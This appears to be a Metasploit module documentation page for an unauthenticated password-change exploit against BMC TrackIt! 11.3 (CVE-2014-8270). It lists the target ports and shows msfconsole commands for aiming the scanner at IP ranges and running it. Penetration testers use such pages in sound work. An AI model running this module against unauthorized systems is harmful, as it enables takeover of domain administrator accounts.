Module Overview

Name: BMC TrackIt! Unauthenticated Arbitrary User Password Change
Module: auxiliary/scanner/http/bmc_trackit_passwd_reset
Source code: modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb
Disclosure date: 2014-12-09
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8270

This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3 and possibly prior versions. If the password reset service is configured to use a domain administrator (which is the recommended configuration), then domain credentials can be reset (such as domain Administrator).

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/bmc_trackit_passwd_reset
msf auxiliary(bmc_trackit_passwd_reset) > show options
    ... show and set options ...
msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS ip-range
msf auxiliary(bmc_trackit_passwd_reset) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(bmc_trackit_passwd_reset) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
